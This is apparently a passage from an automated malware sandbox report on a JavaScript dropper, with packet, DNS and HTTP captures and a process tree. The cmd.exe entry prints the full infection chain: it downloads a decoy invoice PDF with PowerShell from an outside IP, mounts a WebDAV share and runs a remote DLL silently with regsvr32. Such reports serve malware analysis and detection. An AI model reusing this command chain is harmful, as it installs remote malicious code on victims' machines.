Jan 11, 2025 08:09:00.727391958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727421999 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727433920 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727453947 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727488041 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727498055 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727521896 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727555990 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727567911 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727588892 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727622986 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727636099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727657080 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727689981 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727705002 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727724075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727757931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727766991 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727792025 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727829933 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727838993 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727861881 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727895021 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727905035 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727926970 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727968931 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.727968931 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.727977037 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728015900 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728019953 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728049040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728082895 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728094101 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728116035 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728149891 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728156090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728183031 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728216887 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728223085 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728250027 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728283882 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728291988 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728317022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.728359938 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.728810072 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.759574890 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759613991 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759660006 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.759666920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759700060 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759735107 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759740114 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.759767056 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759804964 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759809971 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.759835005 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.759875059 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.776485920 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776544094 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776561022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776576996 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776586056 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.776595116 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776611090 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776618958 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.776631117 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776644945 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.776649952 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.776688099 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.795293093 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811122894 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811191082 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811242104 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811244011 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811280012 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811326027 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811336040 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811395884 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811443090 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811449051 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811484098 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811517954 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811528921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811553001 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811605930 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811605930 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811640024 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811661959 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811698914 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811743975 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811752081 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811791897 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811820984 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811830044 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811855078 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811908960 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811914921 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.811943054 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811980009 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.811994076 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812014103 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812047958 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812062025 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812083006 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812129021 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812133074 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812169075 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812201977 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812211037 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812236071 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812273026 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812287092 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812308073 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812341928 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812352896 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812376022 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812411070 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812417984 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.812443972 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812484026 CET	80	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:00.812484980 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.820149899 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.828254938 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:00.984822035 CET	49701	80	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:01.464529991 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:01.469412088 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:01.469530106 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:01.469697952 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:01.474440098 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:02.300757885 CET	8888	49702	193.143.1.205	192.168.2.7
Jan 11, 2025 08:09:02.352718115 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:04.038064957 CET	49702	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 08:09:27.114321947 CET	53097	53	192.168.2.7	162.159.36.2
Jan 11, 2025 08:09:27.119165897 CET	53	53097	162.159.36.2	192.168.2.7
Jan 11, 2025 08:09:27.119637012 CET	53097	53	192.168.2.7	162.159.36.2
Jan 11, 2025 08:09:27.124617100 CET	53	53097	162.159.36.2	192.168.2.7
Jan 11, 2025 08:09:27.584239006 CET	53097	53	192.168.2.7	162.159.36.2
Jan 11, 2025 08:09:27.589292049 CET	53	53097	162.159.36.2	192.168.2.7
Jan 11, 2025 08:09:27.589988947 CET	53097	53	192.168.2.7	162.159.36.2
Jan 11, 2025 08:10:27.520117998 CET	49557	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:10:27.524981976 CET	53	49557	1.1.1.1	192.168.2.7
Jan 11, 2025 08:10:27.525064945 CET	49557	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:10:27.525140047 CET	49557	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:10:27.529861927 CET	53	49557	1.1.1.1	192.168.2.7
Jan 11, 2025 08:10:27.979604959 CET	53	49557	1.1.1.1	192.168.2.7
Jan 11, 2025 08:10:27.980195999 CET	49557	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:10:27.985162020 CET	53	49557	1.1.1.1	192.168.2.7
Jan 11, 2025 08:10:27.985352039 CET	49557	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:09:09.980072975 CET	49570	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:09:27.113729954 CET	53	52229	162.159.36.2	192.168.2.7
Jan 11, 2025 08:09:27.612694025 CET	61890	53	192.168.2.7	1.1.1.1
Jan 11, 2025 08:09:27.619595051 CET	53	61890	1.1.1.1	192.168.2.7
Jan 11, 2025 08:10:27.519591093 CET	53	57137	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:09:09.980072975 CET	192.168.2.7	1.1.1.1	0xe0d7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:09:27.612694025 CET	192.168.2.7	1.1.1.1	0x5663	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:09:09.988244057 CET	1.1.1.1	192.168.2.7	0xe0d7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:09:10.720010996 CET	1.1.1.1	192.168.2.7	0x3ff1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:09:10.720010996 CET	1.1.1.1	192.168.2.7	0x3ff1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:09:27.619595051 CET	1.1.1.1	192.168.2.7	0x5663	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	193.143.1.205	80	7020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:08:59.306274891 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:09:00.069345951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:08:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:09:00.069411039 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:09:00.069463015 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:09:00.069499969 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:09:00.069533110 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 08:09:00.069566965 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 08:09:00.069598913 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 08:09:00.069633007 CET	104	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?
Jan 11, 2025 08:09:00.069662094 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 11, 2025 08:09:00.069700003 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 11, 2025 08:09:00.074527979 CET	496	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	193.143.1.205	8888	7184	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:09:01.469697952 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:09:02.300757885 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:09:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	5
Start time:	02:08:55
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1505131979137938490.js"
Imagebase:	0x7ff678b90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:08:56
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Imagebase:	0x7ff7610d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:08:56
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:08:56
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:09:00
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	02:09:00
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7610d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:09:00
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff732bf0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:09:01
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

